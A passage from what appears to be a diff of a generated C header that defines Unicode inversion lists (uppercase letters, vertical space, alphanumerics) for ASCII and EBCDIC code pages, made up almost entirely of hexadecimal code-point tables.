0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, - 0x1E900, - 0x1E922 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_UPPERCASELETTER_invlist[] = { /* for EBCDIC 037 */ - 1269, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62, - 0x6A, - 0x71, - 0x79, - 0x80, - 0x81, - 0x9E, - 0x9F, - 0xAC, - 0xAF, - 0xC1, - 0xCA, - 0xD1, - 0xDA, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BC, - 0x1BD, - 0x1C4, - 0x1C5, - 0x1C7, - 0x1C8, - 0x1CA, - 0x1CB, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F2, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x370, - 0x371, - 0x372, - 0x373, - 0x376, - 0x377, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x531, - 0x557, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x13A0, - 0x13F6, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F18, - 0x1F1E, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F48, - 0x1F4E, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1FB8, - 0x1FBC, - 0x1FC8, - 0x1FCC, - 0x1FD8, - 0x1FDC, - 0x1FE8, - 0x1FED, - 0x1FF8, - 0x1FFC, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x2130, - 0x2134, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x2183, - 0x2184, - 0x2C00, - 0x2C2F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CF2, - 0x2CF3, - 0xA640, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA680, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA722, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA78B, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA790, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7AF, - 0xA7B0, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xFF21, - 0xFF3B, - 0x10400, - 0x10428, - 0x104B0, - 0x104D4, - 0x10C80, - 0x10CB3, - 0x118A0, - 0x118C0, - 0x1D400, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4B6, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D538, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A8, - 0x1D6C1, - 0x1D6E2, - 0x1D6FB, - 0x1D71C, - 0x1D735, - 0x1D756, - 0x1D76F, - 0x1D790, - 0x1D7A9, - 0x1D7CA, - 0x1D7CB, - 0x1E900, - 0x1E922 -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_VERTSPACE_invlist[] = { /* for ASCII/Latin1 */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA, - 0xE, - 0x85, - 0x86, - 0x2028, - 0x202A -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_VERTSPACE_invlist[] = { /* for EBCDIC 1047 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_VERTSPACE_invlist[] = { /* for EBCDIC 037 */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x2028, - 0x202A -}; - -# endif /* EBCDIC 037 */ - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_XPOSIXALNUM_invlist[] = { /* for ASCII/Latin1 */ - 1391, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x30, - 0x3A, - 0x41, - 0x5B, - 0x61, - 0x7B, - 0xAA, - 0xAB, - 0xB5, - 0xB6, - 0xBA, - 0xBB, - 0xC0, - 0xD7, - 0xD8, - 0xF7, - 0xF8, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x345, - 0x346, - 0x370, - 0x375, - 0x376, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x3A2, - 0x3A3, - 0x3F6, - 0x3F7, - 0x482, - 0x48A, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x561, - 0x588, - 0x5B0, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x610, - 0x61B, - 0x620, - 0x658, - 0x659, - 0x66A, - 0x66E, - 0x6D4, - 0x6D5, - 0x6DD, - 0x6E1, - 0x6E9, - 0x6ED, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x740, - 0x74D, - 0x7B2, - 0x7C0, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7FA, - 0x7FB, - 0x800, - 0x818, - 0x81A, - 0x82D, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E0, - 0x8E3, - 0x8EA, - 0x8F0, - 0x93C, - 0x93D, - 0x94D, - 0x94E, - 0x951, - 0x955, - 0x964, - 0x966, - 0x970, - 0x971, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CD, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E4, - 0x9E6, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4D, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACD, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFD, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4D, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCD, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4D, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCD, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD4E, - 0xD4F, - 0xD54, - 0xD58, - 0xD5F, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE3B, - 0xE40, - 0xE47, - 0xE4D, - 0xE4E, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEBA, - 0xEBB, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xECD, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF20, - 0xF2A, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF82, - 0xF88, - 0xF98, - 0xF99, - 0xFBD, - 0x1000, - 0x1037, - 0x1038, - 0x1039, - 0x103B, - 0x104A, - 0x1050, - 0x1063, - 0x1065, - 0x1069, - 0x106E, - 0x1087, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109C, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 